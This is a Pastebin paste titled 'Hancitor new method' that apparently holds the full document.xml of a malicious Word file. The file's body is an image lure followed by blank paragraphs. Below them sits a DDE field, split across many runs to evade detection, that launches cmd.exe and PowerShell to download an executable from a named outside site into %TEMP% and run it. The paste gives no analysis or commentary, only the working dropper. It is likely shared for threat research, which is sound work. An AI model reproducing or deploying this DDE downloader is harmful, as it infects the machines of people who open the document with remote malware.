James_inthe_box

Hancitor new method

Oct 16th, 2017
786
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.97 KB | None | 0 0
  1. <w:document
  2. xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas"
  3. xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  4. xmlns:o="urn:schemas-microsoft-com:office:office"
  5. xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  6. xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math"
  7. xmlns:v="urn:schemas-microsoft-com:vml"
  8. xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing"
  9. xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
  10. xmlns:w10="urn:schemas-microsoft-com:office:word"
  11. xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  12. xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml"
  13. xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml"
  14. xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup"
  15. xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk"
  16. xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml"
  17. xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14">
  18. <w:body>
  19. <w:p w:rsidR="00932102" w:rsidRDefault="00706B9A" w:rsidP="00176608">
  20. <w:r w:rsidRPr="00706B9A">
  21. <w:rPr>
  22. <w:noProof/>
  23. <w:lang w:eastAsia="en-US"/>
  24. </w:rPr>
  25. <w:drawing>
  26. <wp:inline distT="0" distB="0" distL="0" distR="0">
  27. <wp:extent cx="6649403" cy="3714750"/>
  28. <wp:effectExtent l="0" t="0" r="0" b="0"/>
  29. <wp:docPr id="1" name="p1" descr="C:\1.jpg"/>
  30. <wp:cNvGraphicFramePr>
  31. <a:graphicFrameLocks
  32. xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/>
  33. </wp:cNvGraphicFramePr>
  34. <a:graphic
  35. xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main">
  36. <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
  37. <pic:pic
  38. xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture">
  39. <pic:nvPicPr>
  40. <pic:cNvPr id="0" name="Picture 1" descr="C:\1.jpg"/>
  41. <pic:cNvPicPr>
  42. <a:picLocks noChangeAspect="1" noChangeArrowheads="1"/>
  43. </pic:cNvPicPr>
  44. </pic:nvPicPr>
  45. <pic:blipFill>
  46. <a:blip r:embed="rId4">
  47. <a:extLst>
  48. <a:ext uri="{28A0092B-C50C-407E-A947-70E740481C1C}">
  49. <a14:useLocalDpi
  50. xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main" val="0"/>
  51. </a:ext>
  52. </a:extLst>
  53. </a:blip>
  54. <a:srcRect/>
  55. <a:stretch>
  56. <a:fillRect/>
  57. </a:stretch>
  58. </pic:blipFill>
  59. <pic:spPr bwMode="auto">
  60. <a:xfrm>
  61. <a:off x="0" y="0"/>
  62. <a:ext cx="6662180" cy="3721888"/>
  63. </a:xfrm>
  64. <a:prstGeom prst="rect">
  65. <a:avLst/>
  66. </a:prstGeom>
  67. <a:noFill/>
  68. <a:ln>
  69. <a:noFill/>
  70. </a:ln>
  71. </pic:spPr>
  72. </pic:pic>
  73. </a:graphicData>
  74. </a:graphic>
  75. </wp:inline>
  76. </w:drawing>
  77. </w:r>
  78. </w:p>
  79. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  80. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  81. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  82. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  83. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  84. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  85. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  86. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  87. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  88. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  89. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  90. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  91. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  92. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  93. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  94. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  95. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  96. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  97. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  98. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  99. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  100. <w:p w:rsidR="00932102" w:rsidRDefault="001E55E9" w:rsidP="00176608">
  101. <w:r>
  102. <w:lastRenderedPageBreak/>
  103. <w:fldChar w:fldCharType="begin"/>
  104. </w:r>
  105. <w:r>
  106. <w:instrText xml:space="preserve"></w:instrText>
  107. </w:r>
  108. <w:r>
  109. <w:fldChar w:fldCharType="separate"/>
  110. </w:r>
  111. <w:r>
  112. <w:rPr>
  113. <w:b/>
  114. <w:noProof/>
  115. </w:rPr>
  116. <w:t>!</w:t>
  117. </w:r>
  118. <w:r>
  119. <w:fldChar w:fldCharType="end"/>
  120. </w:r>
  121. <w:bookmarkStart w:id="0" w:name="_GoBack"/>
  122. <w:bookmarkEnd w:id="0"/>
  123. </w:p>
  124. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  125. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  126. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  127. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  128. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  129. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  130. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  131. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  132. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  133. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  134. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  135. <w:p w:rsidR="00932102" w:rsidRDefault="00932102" w:rsidP="00176608"/>
  136. <w:p w:rsidR="007F3B50" w:rsidRPr="00176608" w:rsidRDefault="00176608" w:rsidP="00176608">
  137. <w:r>
  138. <w:fldChar w:fldCharType="begin"/>
  139. </w:r>
  140. <w:r w:rsidR="00703CDA">
  141. <w:rPr>
  142. <w:lang w:val="fr-CA"/>
  143. </w:rPr>
  144. <w:instrText>"Dd</w:instrText>
  145. </w:r>
  146. <w:r w:rsidR="00A27EF2">
  147. <w:rPr>
  148. <w:lang w:val="en-US"/>
  149. </w:rPr>
  150. <w:instrText>E"</w:instrText>
  151. </w:r>
  152. <w:r w:rsidR="00306B7A">
  153. <w:rPr>
  154. <w:lang w:val="en-US"/>
  155. </w:rPr>
  156. <w:instrText xml:space="preserve"></w:instrText>
  157. </w:r>
  158. <w:r w:rsidR="004E5FC4">
  159. <w:instrText>c:\\Windows\\System32\\</w:instrText>
  160. </w:r>
  161. <w:r w:rsidR="00AE6D69" w:rsidRPr="00AE6D69">
  162. <w:rPr>
  163. <w:lang w:val="en-US"/>
  164. </w:rPr>
  165. <w:instrText xml:space="preserve">cmd.exe </w:instrText>
  166. </w:r>
  167. <w:r w:rsidR="00F86BDF">
  168. <w:rPr>
  169. <w:lang w:val="en-US"/>
  170. </w:rPr>
  171. <w:instrText>"</w:instrText>
  172. </w:r>
  173. <w:r w:rsidR="000D47BE">
  174. <w:rPr>
  175. <w:lang w:val="en-US"/>
  176. </w:rPr>
  177. <w:instrText xml:space="preserve"></w:instrText>
  178. </w:r>
  179. <w:r w:rsidR="00AE6D69" w:rsidRPr="00AE6D69">
  180. <w:rPr>
  181. <w:lang w:val="en-US"/>
  182. </w:rPr>
  183. <w:instrText>/</w:instrText>
  184. </w:r>
  185. <w:r w:rsidR="00090E3A">
  186. <w:rPr>
  187. <w:lang w:val="en-US"/>
  188. </w:rPr>
  189. <w:instrText>k</w:instrText>
  190. </w:r>
  191. <w:r w:rsidR="00AE6D69" w:rsidRPr="00AE6D69">
  192. <w:rPr>
  193. <w:lang w:val="en-US"/>
  194. </w:rPr>
  195. <w:instrText xml:space="preserve"> powershell.exe</w:instrText>
  196. </w:r>
  197. <w:r w:rsidR="002158A9">
  198. <w:rPr>
  199. <w:lang w:val="en-US"/>
  200. </w:rPr>
  201. <w:instrText xml:space="preserve"></w:instrText>
  202. </w:r>
  203. <w:r w:rsidR="00490688" w:rsidRPr="00490688">
  204. <w:rPr>
  205. <w:lang w:val="en-US"/>
  206. </w:rPr>
  207. <w:instrText>(New-Object System.Net.WebClient).DownloadFile('</w:instrText>
  208. </w:r>
  209. <w:r w:rsidR="00C62D9E">
  210. <w:rPr>
  211. <w:lang w:val="en-US"/>
  212. </w:rPr>
  213. <w:instrText>http:</w:instrText>
  214. </w:r>
  215. <w:r w:rsidR="00991208">
  216. <w:rPr>
  217. <w:lang w:val="en-US"/>
  218. </w:rPr>
  219. <w:instrText>//</w:instrText>
  220. </w:r>
  221. <w:r w:rsidR="00490688" w:rsidRPr="00490688">
  222. <w:rPr>
  223. <w:lang w:val="en-US"/>
  224. </w:rPr>
  225. <w:instrText>frontiertherapycenter.com/16.exe</w:instrText>
  226. </w:r>
  227. <w:r w:rsidR="00AC4A12">
  228. <w:rPr>
  229. <w:lang w:val="en-US"/>
  230. </w:rPr>
  231. <w:instrText>','%TEMP%\\tvs</w:instrText>
  232. </w:r>
  233. <w:r w:rsidR="00490688" w:rsidRPr="00490688">
  234. <w:rPr>
  235. <w:lang w:val="en-US"/>
  236. </w:rPr>
  237. <w:instrText>.exe</w:instrText>
  238. </w:r>
  239. <w:r w:rsidR="00AC4A12">
  240. <w:rPr>
  241. <w:lang w:val="en-US"/>
  242. </w:rPr>
  243. <w:instrText>');Start-Process '%TEMP%\\tvs</w:instrText>
  244. </w:r>
  245. <w:r w:rsidR="00490688" w:rsidRPr="00490688">
  246. <w:rPr>
  247. <w:lang w:val="en-US"/>
  248. </w:rPr>
  249. <w:instrText>.exe'</w:instrText>
  250. </w:r>
  251. <w:r w:rsidR="00F86BDF">
  252. <w:rPr>
  253. <w:lang w:val="en-US"/>
  254. </w:rPr>
  255. <w:instrText>"</w:instrText>
  256. </w:r>
  257. <w:r>
  258. <w:fldChar w:fldCharType="end"/>
  259. </w:r>
  260. </w:p>
  261. <w:sectPr w:rsidR="007F3B50" w:rsidRPr="00176608" w:rsidSect="00706B9A">
  262. <w:pgSz w:w="11906" w:h="16838"/>
  263. <w:pgMar w:top="720" w:right="720" w:bottom="720" w:left="720" w:header="708" w:footer="708" w:gutter="0"/>
  264. <w:cols w:space="708"/>
  265. <w:docGrid w:linePitch="360"/>
  266. </w:sectPr>
  267. </w:body>
  268. </w:document>
Advertisement
Add Comment
Please, Sign In to add comment